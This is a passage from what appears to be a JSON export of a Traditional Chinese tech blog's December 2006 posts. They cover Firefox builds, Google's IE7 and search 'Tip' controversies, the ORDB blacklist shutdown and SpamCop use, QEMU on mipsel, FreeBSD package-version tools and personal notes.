    "body": "裝了 trunk 版本的 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a>，有些東西不相容 (其實也只有 Google Web Accelerator 不相容)，有些地方怪怪的 (像是在編輯的時候游標位置稍微偏掉)，不過大致上還好 :p\r\n\r\n當然，既然裝了 trunk 版的，一定要來抓一張 <a href=\"http://www.webstandards.org/action/acid2/\" rel=\"tag\">ACID2</a> 跑出來的結果啦：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/527575\"><img src=\"http://static.zooomr.com/images/527575_5b4e49f219.jpg\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：最直接的感覺是記憶體的量減少超多，我開了快三十個 tab (都是一堆文字一堆圖的 RSS 新聞站台，從 Bloglines 點出來的)，結果還吃不到 100MB。",
    "title": "Firefox (trunk)"
  },
  {
    "id": "953",
    "body": "... 來自 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> IE7 的頁面。\r\n\r\n<a href=\"http://www.techcrunch.com/\" rel=\"tag\">Techcrunch</a> 的 <a href=\"http://www.techcrunch.com/2006/12/11/google-copies-ie7-promo-material-from-yahoo/\">Google Copies IE7 Promo Material From Yahoo</a> 與 <a href=\"http://jeremy.zawodny.com/\" rel=\"tag\">Jeremy Zawodny</a> 的 <a href=\"http://jeremy.zawodny.com/blog/archives/008122.html\">Google Blatantly Copies Yahoo!?</a> 講到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> IE7 下載頁面的圖幾乎跟 <a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> IE7 一樣，除了紅色的 Y! 以外：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/528423\"><img src=\"http://static.zooomr.com/images/528423_a95a97507d.jpg\" alt=\"\" /></a>\r\n\r\n如果你放大 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> IE7 的圖，你會發現有淡淡的紅色在某個位置上... :p\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/528423\"><img src=\"http://www.techcrunch.com/wp-content/ie73.jpg\" alt=\"\" /></a>\r\n\r\n在被爆破後六個小時內，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 就把圖換掉了，所以你現在看到的不是原來的圖。",
    "title": "Google IE7 的頁面..."
  },
  {
    "id": "954",
    "body": "在 <a href=\"http://blog.outer-court.com/archive/2006-12-14-n35.html\">Google Patent Search Released</a> 看到 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 推出專利搜尋引擎：<a href=\"http://www.google.com/patents\" rel=\"tag\">Google Patent</a>，將 <a href=\"http://www.uspto.gov/\" rel=\"tag\">USPTO</a> 裡的專利資料都塞進去供人搜尋。\r\n\r\n搜尋的便利性以及品質比起 <a href=\"http://www.uspto.gov/\" rel=\"tag\">USPTO</a> 的好多了，對於 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 的嘴砲魔人應該有蠻大的幫助 XD",
    "title": "Google Patent"
  },
  {
    "id": "955",
    "body": "<a href=\"https://addons.mozilla.org/firefox/4083/\" rel=\"tag\">FOXSCAPE Theme</a>：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/532623\"><img src=\"http://static.zooomr.com/images/532623_ce24b92916.jpg\" alt=\"\" /></a>\r\n\r\n好懷古呢... (連 icon 都故意設計成 16 colors？XD)",
    "title": "FOXSCAPE"
  },
  {
    "id": "956",
    "body": "在 <a href=\"http://ajaxian.com/archives/microsoftcom-is-updated\">Microsoft.com is updated</a> 看到 Microsoft.com 的首頁改版了，用 IE7 抓了張 screenshot 下來：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/537291\"><img src=\"http://static.zooomr.com/images/537291_c01dd11d55.jpg\" alt=\"\" /></a>\r\n\r\n看起來就只是個改版而已，沒什麼感覺 :o",
    "title": "Microsoft.com 首頁改版"
  },
  {
    "id": "957",
    "body": "最近在 mipsel 平台上面發展一些東西，不過 cross-compile 的問題多到爆炸，決定用 <a href=\"http://fabrice.bellard.free.fr/qemu/\" rel=\"tag\">QEMU</a> 搞個純 mipsel 的環境出來 compile，省得 cross-compile 有一堆問題要解決，於是就找到這篇蠻新的文章：<a href=\"http://www.aurel32.net/info/debian_mips_qemu.php\">Debian on an emulated MIPS(EL) machine</a>。\r\n\r\n當時 <a href=\"http://www.freebsd.org/ports/\" rel=\"tag\">FreeBSD ports</a> 裡的版本是 11/02 cvs，雖然已經蠻新的 (比起七月的 0.8.2)，不過 QEMU mips/mipsel 在十一月月初的版本仍然是跑不起來的，因為月中的時候才大修 mips/mipsel code 把開機的部份搞定。這幾天 maintainer 更新了 ports，趕緊裝起來測試，果然可以用，把一些簡單的軟體 compile 後的 static binary 丟到測試機上果然沒問題 :D\r\n\r\n接下來可以來測試很多東西了... :p",
    "title": "QEMU"
  },
  {
    "id": "958",
    "body": "在 <a href=\"http://www.ftc.gov/\" rel=\"tag\">FTC</a> 殺出來喊話後 (參考 <a href=\"http://blog.gslin.org/archives/2006/12/14/950/\">PayPerPost 在美國...</a> 這篇)，<a href=\"http://www.payperpost.com/\" rel=\"tag\">PayPerPost</a> 發公告要求作者必須揭露利害關係，但 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">Techcrunch</a> 仍然不滿意：<a href=\"http://www.techcrunch.com/2006/12/16/payperpost-does-something-right/\">PayPerPost Does Something Right</a>。\r\n\r\n<a href=\"http://www.techcrunch.com/\" rel=\"tag\">Techcrunch</a> 的文章裡提到，廣告主仍然可以要求作者寫正面的評價，另外一方面，作者可以自己選擇揭露的方式 (可以不用直接在文章裡面揭露，而是在站台資訊或其他地方揭露，可以避開法律問題但又可以隱藏拿錢的事實)，感覺上這次公告的內容只是為了應付 <a href=\"http://www.ftc.gov/\" rel=\"tag\">FTC</a>。\r\n\r\n剛好，<a href=\"http://www.richyli.com/\" rel=\"tag\">李怡志</a> 昨天寫的 <a href=\"http://www.richyli.com/blog/2006/12/blog-post_18.html\">記者必自辱然後人辱之</a> 裡提到的 <a href=\"http://www.nytco.com/company-properties-times-coe.html\" rel=\"tag\">Ethical Journalism Guidebook</a> 也頗適合拿來與 <a href=\"http://www.payperpost.com/\" rel=\"tag\">PayPerPost</a> 這類站台成立的目的相對應。",
    "title": "PayPerPost 要求作者必須揭露利害關係"
  },
  {
    "id": "959",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 將在月底結束營業的消息：<a href=\"http://slashdot.org/it/06/12/18/154259.shtml\">ORDB.org Going Offline</a>，官方的公告在 <a href=\"http://ordb.org/news/?id=38\">ORDB.org is shutting down</a> 這篇，預定 2006 年年底全部關閉，屆時網頁也無法連上，所以放一份公告在最後面吧。\r\n\r\n<a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 是一項免費卻擁有接近 0% 誤判的 DNSBL 服務，<a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 讓使用者輸入要求偵測的 IP address，然後 <a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 就會以程式自動偵測是否為 Open Relay 然後列入名單。\r\n\r\nOpen Relay 對於發廣告信的人是成本最低的方式，但由於有 <a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 存在，對於想要擋的人也是最容易阻擋的方式。參考我之前寫過的 <a href=\"http://gslin.org/2005/02/21/603/\">擋 mail spam</a> 這篇。\r\n\r\n利用 <a href=\"http://ordb.org/\" rel=\"tag\">ORDB</a> 擋正規的 Mail Server，再利用 Greylisting 擋直接連線到 SMTP server 但不正規的 Mail Client 是目前前端最好的方法：幾乎 0 的誤判率但是阻擋的比率又高。在 <a href=\"http://www.kkcity.com.tw/\" rel=\"tag\">KKcity</a> 上面這樣做可以讓後面實際的 Mail Server 省很多資源。\r\n\r\n現在只好靠 <a href=\"http://spamcop.net/\" rel=\"tag\">SpamCop</a> 了，不過偶而會有使用者把從 gmail.com 的信件丟進去然後就誤判了...\r\n\r\nPS：這是公告內容：\r\n<blockquote>We regret to inform you that ORDB.org, at the ripe age of five and a half, is shutting down. It's been a case of a long goodbye as very little work has gone into maintaining ORDB for a while. Our volunteer staff has been pre-occupied with other aspects of their lives. In addition, the general consensus within the team is that open relay RBLs are no longer the most effective way of preventing spam from entering your network as spammers have changed tactics in recent years, as have the anti-spam community.\r\n\r\nWe encourage system owners to remove ORDB checks from their mailers immediately and start investigating alternative methods of spam filtering. We recommend a combination involving greylisting and content-based analysis (such as the dspam project, bmf or Spam Assassin).\r\n\r\nDNS and the mailing lists will vanish today, December 18, 2006.\r\n\r\nThis website will vanish by December 31, 2006.</blockquote>",
    "title": "ORDB 結束營業"
  },
  {
    "id": "960",
    "body": "因為 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Mozilla Firefox</a> 3.0a 實在太 buggy 了 XD 不愧是 Minefield... :p\r\n\r\n<strong>Update</strong>：喔耶，換回來了... :p",
    "title": "換回 Firefox 2.0"
  },
  {
    "id": "961",
    "body": "在 <a href=\"http://blog.leeym.com/post/1/329\">ORDB 要關門了，改改 DNSBL 設定吧</a> 看到 <a href=\"http://blog.leeym.com/\" rel=\"tag\">Leeym</a> 因為把 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 轉寄回來的信也丟回 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 而被 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 警告停權。\r\n\r\n我也發生過一樣的情況，不過我後來的作法跟 <a href=\"http://blog.leeym.com/\" rel=\"tag\">Leeym</a> 不一樣，我是把 Content Filter 的軟體 (我是用 <a href=\"http://bogofilter.sourceforge.net/\" rel=\"tag\">bogofilter</a>) 所判斷出來的 Spam Mail 放到某個 folder，我三不五時就會去瞄一下，沒問題的就把整個 folder 送回 <a href=\"http://www.spamcop.net/\" rel=\"tag\">SpamCop</a> 然後再砍掉，然後再用 <a href=\"http://sourceforge.net/projects/spamcup\" rel=\"tag\">Spamcup</a> 真正的確認。換句話說，就是用工人智慧彌補 :p",
    "title": "SpamCop (與 SpamCup)"
  },
  {
    "id": "962",
    "body": "在 <a href=\"http://simonwillison.net/\" rel=\"tag\">Simon Willison's Weblog</a> 上看到一個蠻簡單的 <a href=\"http://www.openid.net/\" rel=\"tag\">OpenID</a> implementation (其實也不怎麼簡單，七百多行的 code...)，所以我就丟進 ports 了：<a href=\"http://www.freshports.org/security/phpmyid/\" rel=\"tag\">phpmyid</a>。\r\n\r\n也許可以改看看，能不能給多人用...",
    "title": "phpMyID"
  },
  {
    "id": "963",
    "body": "在 <a href=\"http://news.bbc.co.uk/chinese/trad/hi/\" rel=\"tag\">BBC Chinese</a> 上看到的新聞，<a href=\"http://news.bbc.co.uk/chinese/trad/hi/newsid_6190000/newsid_6196500/6196503.stm\">中國收緊外國人領養中國兒童的規定</a>，其中...：\r\n<blockquote>據悉，根據新規定，領養中國兒童的夫婦兩人年齡必須介乎30至50歲、已經登記結婚、加上兩人的離婚次數不超過兩次。\r\n\r\n此外，同性戀伴侶、服用抗抑鬱藥物者、體質指數超過40以上以及肥胖等外國人，一律禁止收養中國兒童。</blockquote>\r\n我可以理解 (不代表認同) 其他的部份，但「體質指數」與「肥胖」的條件是什麼原因？怕不小心壓到變成地磚嗎 @_@",
    "title": "奇怪的規定..."
  },
  {
    "id": "964",
    "body": "<a href=\"http://www.boingboing.net/2006/12/18/kentucky_fried_chris.html\">Kentucky Fried Christmas</a>：\r\n\r\n<a href=\"http://flickr.com/photos/iamafriendofthesquirrels/322644263/\"><img src=\"http://static.flickr.com/134/322644263_9675d00ff2.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://flickr.com/photos/neatocoolville/322353939/\"><img src=\"http://static.flickr.com/143/322353939_079416d7ea.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://flickr.com/photos/neatocoolville/322353938/\"><img src=\"http://static.flickr.com/80/322353938_a66968393a.jpg\" alt=\"\" /></a>",
    "title": "Kentucky Fried Christmas"
  },
  {
    "id": "965",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://slashdot.org/developers/06/12/19/2316219.shtml\">Bad Web Sites Can Cause \"Mouse Rage\"</a> 這篇 (原報導在 <a href=\"http://www.eetimes.com/rss/showArticle.jhtml?articleID=196603530\">Are you suffering from 'Mouse Rage Syndrome?</a> 這篇) 讓我想起三年前 <a href=\"http://jedi.org/blog/archives/002579.html\">大螢幕不調整解析度及字型會導致長腦瘤</a> 這篇...\r\n\r\n現在是十二月不是四月啊，所以是怎樣... :p",
    "title": "網站設計不良會導致免疫系統、心血管系統、神經系統受損...？"
  },
  {
    "id": "966",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到中國打算將手機的充電器與資料傳輸線標準化：<a href=\"http://slashdot.org/hardware/06/12/20/134200.shtml\">S Korea & China Mandate Common Chargers, Data Cables</a>。(原報導在 <a href=\"http://techdirt.com/articles/20061219/092747.shtml\">China To Mandate Standardized Phone Chargers</a>)\r\n\r\n南韓在去年的時候已經搞過類似的事情 (<a href=\"http://news.techdirt.com/news/wireless/article/6228\">Now They're Just Rubbing It In Our Faces</a>)，但現在換成是中國，市場比南韓大相當多，不曉得在五年內有沒有希望看到單一充電器就可以充所有的機型...\r\n\r\n附帶一點，照報導裡面說的，這次中國不打算自己定新規格，而是使用 USB，看起來相當不錯啊 :p",
    "title": "手機充電器與傳輸線的標準化"
  },
  {
    "id": "967",
    "body": "雖然有買自然輸入法，不過這次重灌 Windows XP 後想要知道 Open Source 的輸入法發展的如何，於是就去裝了 <a href=\"http://openvanilla.org/\" rel=\"tag\">OpenVanilla</a> Win32 (2005/09 的 beta 版本)，發現問題還蠻多的... :p (像是無法叫出設定選單，於是預設的輸入法一直都是行列，然後在 PuTTY 裡偶而會爛掉)\r\n\r\n本來想灌回自然輸入法，後來想到 <a href=\"http://chewing.csie.net/\" rel=\"tag\">新酷音</a> 好像有獨立 port 到 Win32 上，於是就去找官方網頁 (沒有中文輸入法的情況下還找蠻久的 :p) 下載下來用，看起來自然輸入法也可以先丟到旁邊去了 :p\r\n\r\n也許用一陣子再出來講講心得好了 :p",
    "title": "新酷音"
  },
  {
    "id": "968",
    "body": "剛剛在 <a href=\"http://torrentfreak.com/\" rel=\"tag\">Torrentfreak</a> 上看到 <a href=\"http://www.allpeers.com/\" rel=\"tag\">AllPeers</a> (一套在 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上的 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 下載軟體) 也支援 Protocol Encryption 了：<a href=\"http://torrentfreak.com/allpeers-adds-encrypted-p2p-chat-to-firefox/\">AllPeers Adds Encrypted P2P Chat to Firefox</a>。\r\n\r\n查了一下 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上的 <a href=\"http://en.wikipedia.org/wiki/Comparison_of_BitTorrent_software\">Comparison of BitTorrent software</a>，目前表上列出有支援 Protocol Encryption 的軟體有 <a href=\"http://azureus.sourceforge.net/\" rel=\"tag\">Azureus</a>、<a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a>、<a href=\"http://www.bittorrent.com/\" rel=\"tag\">Mainline</a> (即 Bittorrent 發明人發展的版本)、<a href=\"http://ktorrent.org/\" rel=\"tag\">KTorrent</a>、<a href=\"http://libtorrent.rakshasa.no/\" rel=\"tag\">rTorrent</a> (libtorrent)、<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a>。",
    "title": "AllPeers 也加入 Protocol Encryption"
  },
  {
    "id": "969",
    "body": "在 <a href=\"http://blog.bs2.to/post/EdwardLee/7238\">使用 portversion 而非 pkg_version</a> 看到 <a href=\"http://blog.bs2.to/EdwardLee\" rel=\"tag\">EdwardLee</a> 以速度的差異推薦 portversion，但是 <a href=\"http://blog.bs2.to/\" rel=\"tag\">bs2</a> 上的 AuthImage 不太喜歡我... 所以乾脆寫一篇出來好了。\r\n\r\nportversion 是 <a href=\"http://www.freshports.org/sysutils/portupgrade\" rel=\"tag\">sysutils/portupgrade</a> 的套件之一，在 portversion 裡的 manpage 提到他使用 INDEX 檔來判斷版本：\r\n<blockquote>portversion is very similar to pkg_version(1), but is optimized for portupgrade(1) and runs much faster than pkg_version(1) thanks to the ports database generated from the INDEX file.  See portsdb(1) for details.</blockquote>\r\n但 pkg_version 用 -I 的參數也可以用 INDEX 檔，這是 -I 的說明：\r\n<blockquote>Use only the index file for determining if a package is out of date.  This is much faster than using the version number from a port's Makefile, at the expense of potentially giving an incorrect result if the index file is out of date.</blockquote>\r\n速度上呢？這是最慢的 pkg_version (without -I)：\r\n<blockquote>44.992u 41.211s 1:27.37 98.6%   221+441k 1634+0io 56pf+0w</blockquote>\r\n這是 portversion：\r\n<blockquote>2.970u 0.893s 0:03.79 101.8%    29+16680k 0+0io 0pf+0w</blockquote>\r\n這是最快的 pkg_version -I：\r\n<blockquote>1.402u 0.156s 0:01.55 100.0%    43+1898k 0+0io 0pf+0w</blockquote>",
    "title": "關於 FreeBSD 下 pkg_version 與 portversion 的速度"
  },
  {
    "id": "970",
    "body": "據學弟在 <a href=\"http://stephon.wordpress.com/2006/12/21/%e7%89%b9%e8%89%b2%e5%95%86%e5%ae%b6%e9%82%84%e6%98%af%e5%be%97%e6%9c%89%e5%b8%82%e5%a0%b4%e9%98%bf-orz/\">特色商家還是得有市場阿 orz</a> 這篇裡說羅德利的茶 Cost-down 了，心中頗 ox... (在新竹就要再找了...)\r\n\r\n結果今天在光華商場買硬碟的時候，在旁邊看到一家 700cc 烏龍茶賣 55 元的店，很直覺就覺得應該是現泡的 (不然這麼貴大概就沒人要買了)，買了一杯無糖的喝，除了價位真的太高外，其他倒是沒什麼挑的...\r\n\r\nPS：在網路上找了一下，資料不多，<a href=\"http://www.wretch.cc/blog/funny0308&article_id=3906958\">八兩茶舖</a> 這篇只有圖 XD",
    "title": "八兩 Expresso Tea"
  },
  {
    "id": "971",
    "body": "還沒換... :p\r\n\r\n找了一下資料看到這篇「<a href=\"http://www.ris.gov.tw/ch1/0951221a.html\">新國民身分證換證人數激增 全國戶政事務所加班因應！</a>」，那我還是等一月再去排隊換好了 zzzz",
    "title": "身份證"
  },
  {
    "id": "972",
    "body": "<strong>Update</strong>：<strong>我目前沒有再幫忙購買 Flickr Pro 帳號了</strong>。\r\n\r\n沒有信用卡卡號的人要買 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> Pro 不太容易，你必須透過 <a href=\"https://www.paypal.com/\" rel=\"tag\">Paypal</a> + 匯款，而且匯款後還需要等幾個工作天進 <a href=\"https://www.paypal.com/\" rel=\"tag\">Paypal</a> 戶頭，所以沒有信用卡的人如果想要買，可以找我代買。\r\n\r\n<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 一年是 USD$24.95，請照 <a href=\"http://tw.stock.yahoo.com/d/c/ex.php\">http://tw.stock.yahoo.com/d/c/ex.php</a> 這頁換算新台幣價格，然後無條件進入到整數，像我寫這篇的時候是 NTD$32.62 換 USD$1，24.95*32.62=813.869，就轉 $814 給我，轉完後告訴我你的 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 帳號名稱，我會用 Gift 的方式給你，你可以參考 <a href=\"http://www.flickr.com/account/order/\" rel=\"tag\">Flickr: Pro Account Purchase</a> 這頁。\r\n\r\n轉帳帳號的部份請 mail 跟我聯絡。(<a href=\"http://wiki.yichi.org/index.php?title=User:Gslin\" rel=\"tag\">User:Gslin</a>)",
    "title": "幫忙買 Flickr Pro"
  },
  {
    "id": "973",
    "body": "在某窩買記憶體幫 X31 從 512MB 加到 2GB 後，跑一堆軟體舒服好多啊...\r\n<blockquote>&lt;gslin&gt; 現在是 2G... XD\r\n&lt;<a href=\"http://gmclee.blogspot.com/\" rel=\"tag\">mclee</a>&gt; .....\r\n&lt;gslin&gt; 跑起 firefox 真愉快啊\r\n&lt;mclee&gt; nb 要這麼多 ram 幹嘛 -_-\r\n&lt;gslin&gt; 給 firefox memory leak 用的啊\r\n&lt;mclee&gt; @_@</blockquote>\r\nAnyway，至少開機速度有變快... :p",
    "title": "幫 Notebook 加 RAM..."
  },
  {
    "id": "974",
    "body": "剛剛看到某個站這樣宣稱：\r\n<blockquote>因應本站即將邁入世界排名萬名以內(Netcraft site rank)，本站自2004/07/10開站所使用的免費網址happylinux.homeip.net建議您不要再使用，請將您的書籤更新為www.happylinux.tw。舊網址happylinux.homeip.net首頁雖已設置自動轉址，唯原有其他舊有連結資料可能無法繼續使用。</blockquote>\r\n到 <a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 上查的確是 <a href=\"http://toolbar.netcraft.com/site_report?url=http://www.happylinux.tw\">10580</a>，不過又回頭看了一下這幾個站 (以及括弧內的排名)，我就笑了出來... XD：<a href=\"http://toolbar.netcraft.com/site_report?url=http://www.pchome.com.tw\">www.pchome.com.tw (18336)</a>、<a href=\"http://toolbar.netcraft.com/site_report?url=http://www.hinet.net\">www.hinet.net (50398)</a>、<a href=\"http://toolbar.netcraft.com/site_report?url=http://www.seed.net.tw\">www.seed.net.tw (313795)</a>。",
    "title": "Netcraft 的排名"
  },
  {
    "id": "975",
    "body": "<a href=\"http://blog.lighttpd.net/\" rel=\"tag\">Lighttpd 的 Blog</a> 上提到排名比較前面的站台使用 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 的情況：<a href=\"http://blog.lighttpd.net/articles/2006/12/28/lighttpd-powers-5-alexa-top-250-sites\">The Ranking</a>。(其中 <a href=\"http://sourceforge.net/\" rel=\"tag\">sourceforge</a> 的部份是錯的，只有 main site 是 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a>，其他給 project 用的 web，像是 <a href=\"http://virtualdub.sourceforge.net/\" rel=\"tag\">virtualdub.sourceforge.net</a> 都是跑 <a href=\"http://httpd.apache.org/\" rel=\"tag\">Apache</a>)\r\n\r\n列出來這些站台實在看不出來 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">Lighttpd</a> 對於 dynamic page (尤其是透過 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 的 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>) 的穩定性... 說實在的，看起來反效果還蠻大的 :p",
    "title": "Lighttpd 的使用率"
  },
  {
    "id": "976",
    "body": "<a href=\"http://flickr.com/photos/gslin/340026997/\"><img src=\"http://farm1.static.flickr.com/134/340026997_3f0ce31025_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://www.yichi.org/\" rel=\"tag\">義氣幫</a> 年度總檢討，一群人出去吃飯聊天順便決定明年的計畫，我拍的相簿在這：<a href=\"http://flickr.com/photos/gslin/sets/72157594450678907/\">年度總檢討 (2006/12/31)</a>，依照慣例，有 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 在的聚會都會有某些節目... *boom*\r\n\r\n買布丁的時候有個小插曲，我跟蘋果去 <a href=\"http://www.7-11.com.tw/\" rel=\"tag\">7-11</a> 結帳的時候被問到「要不要湯匙」，當蘋果說不用的時候，店員居然很開心的又問了「是不是要玩遊戲」XD",
    "title": "年度總檢討"
  },
  {
    "id": "977",
    "body": "<a href=\"http://flickr.com/photos/gslin/46034551/\" rel=\"tag\"><img src=\"http://farm1.static.flickr.com/26/46034551_a38c40b302.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 昨天年度總檢討從 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 那邊拿到請 <a href=\"http://pesty.yichi.org/\" rel=\"tag\">pesty</a> 幫忙帶回來的 <a href=\"http://www.powersquid.net/\" rel=\"tag\">PowerSquid</a>，拿到手後看起來... 頗有趣 :p\r\n\r\n不過這陣子應該不會拆來用，因為我目前有個可以接十個插頭的延長線服役中...\r\n\r\nPS：剛好在 <a href=\"http://www.schneier.com/\" rel=\"tag\">Bruce Schneier</a> 的 <a href=\"http://www.schneier.com/blog/\" rel=\"tag\">Blog</a> 上看到他也收到一個 <a href=\"http://www.powersquid.net/\" rel=\"tag\">PowerSquid</a>：<a href=\"http://www.schneier.com/blog/archives/2006/12/friday_squid_bl_26.html\">Friday Squid Blogging: PowerSquid</a>。然後他貼了一個 DIY 版的 PowerSquid... XD：<a href=\"http://www.delcollo.us/Blog/ICP/PowerSquid/PowerSquid.html\">Homemade Power Squid</a>。",
    "title": "PowerSquid"
  },
  {
    "id": "978",
    "body": "抓東西發現 ADSL 變快了，現在有 600KB/sec 的速度... (之前大約 230KB/sec，有時候還會因為下雨天訊號太差而斷線 XD)",
    "title": "ADSL"
  },
  {
    "id": "979",
    "body": "雖然 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">蔡依林大姊姊</a> 寫了一篇 <a href=\"http://blog.ijliao.info/archives/2006/12/30/2795/\">Google 的信任危機</a>，不過這個事情蠻值得再提出來講。\r\n\r\n這個禮拜幾位國外長輩的 Blog 最熱鬧的話題之一，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋時出現的 \"Tip\"，引兩篇重點，最開頭抱怨的 <a href=\"http://www.blakeross.com/\" rel=\"tag\">Blake Ross</a> (<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的催生者之一) 與 <a href=\"http://www.mattcutts.com/\" rel=\"tag\">Matt Cutts</a> (他是 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 員工)：\r\n<ul>\r\n\t<li><a href=\"http://www.blakeross.com/2006/12/25/google-tips/\">Tip: Trust is hard to gain, easy to lose.</a></li>\r\n\t<li><a href=\"http://www.mattcutts.com/blog/my-thoughts-on-recent-google-tips/\">My thoughts on recent Google tips</a></li>\r\n</ul>\r\n一開始是 <a href=\"http://www.blakeross.com/\" rel=\"tag\">Blake Ross</a> 發現他用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 搜尋 \"<a href=\"http://www.google.com/search?q=photo+sharing\">Photo Sharing</a>\" 時在最前面會出現 \"Tip: Want to share pictures? Try Google's Picasa Web Albums\" 後另外又試了其他的關鍵字，發現搜尋 \"calendar\" 與 \"blog\" 也有類似的 \"Tips\"，像這樣：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/589549\"><img src=\"http://static.zooomr.com/images/589549_09f1073d99.jpg\" alt=\"\" /></a>\r\n\r\n他說 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 在以前也有推出類似的服務，舉例來說，當你搜尋 \"<a href=\"http://www.google.com/search?q=the+holiday\" rel=\"tag\">The Holiday</a>\" (<a href=\"http://www.sonypictures.com/movies/theholiday/\" rel=\"tag\">戀愛沒有假期</a>) 時，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 在搜尋結果的最上面會有一個小方塊讓你查詢這部電影的評價以及其他資訊，這對使用者有非常大的幫助。他認為像這種服務多多益善，即使他是有爭議的。(然後他舉了 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 在 Windows 裡綁 IE 的例子，他認為這是一步好棋，對使用者相當好，我個人認為這點看看就算了...)\r\n\r\n但這次的情況與 The Holiday 的例子不一樣，出現在同樣的位置，但所提供的資訊對使用者並沒有幫助。大多數人都不認為 <a href=\"http://picasa.google.com/\" rel=\"tag\">Picasa</a> 是 Photo Sharing 裡最好的產品，出現在這個位置感覺上就跟 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 在 IE 裡面出現這樣的東西一樣：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/590314\"><img src=\"http://static.zooomr.com/images/590314_2f3f76a8dc_o.jpg\" alt=\"\" /></a>\r\n\r\n再加上 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 之前用 Adwords 投放自己的廣告這件邪惡的事情 (註)，他決定寫成一篇文章呼籲 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 要多思考對使用者的觀感：贏得使用者的心並不容易，但失去可以很快。\r\n\r\n<a href=\"http://www.mattcutts.com/\" rel=\"tag\">Matt Cutts</a> 很委婉的寫了一篇他對於 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 用 \"Tips\" 推廣自己服務的作法不贊同的文章，在文章裡他說，如果他可以作主的話，他會拿下 \"Tips\"，讓搜尋的結果更自然。\r\n\r\n註：<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 用 Adwords 投放自己的廣告造成抗議，因為 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 再怎麼宣稱他們使用的平台跟大家都一樣，仍然有兩個完全不同的立足點。第一個，他們可以設定極高的關鍵字金額，因為對他們來說沒有成本。第二個，他們可以用 \"Easier to use than Kodak\" 投放 <a href=\"http://picasa.google.com/\" rel=\"tag\">Picasa</a> 的廣告，但 <a href=\"http://www.kodak.com/\" rel=\"tag\">Kodak</a> 卻因為 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 保護自己的 trademark \"Picasa\" 而無法投放 \"Easier to use than Picasa\"。",
    "title": "Google Search 時的 Tip"
  },
  {
    "id": "980",
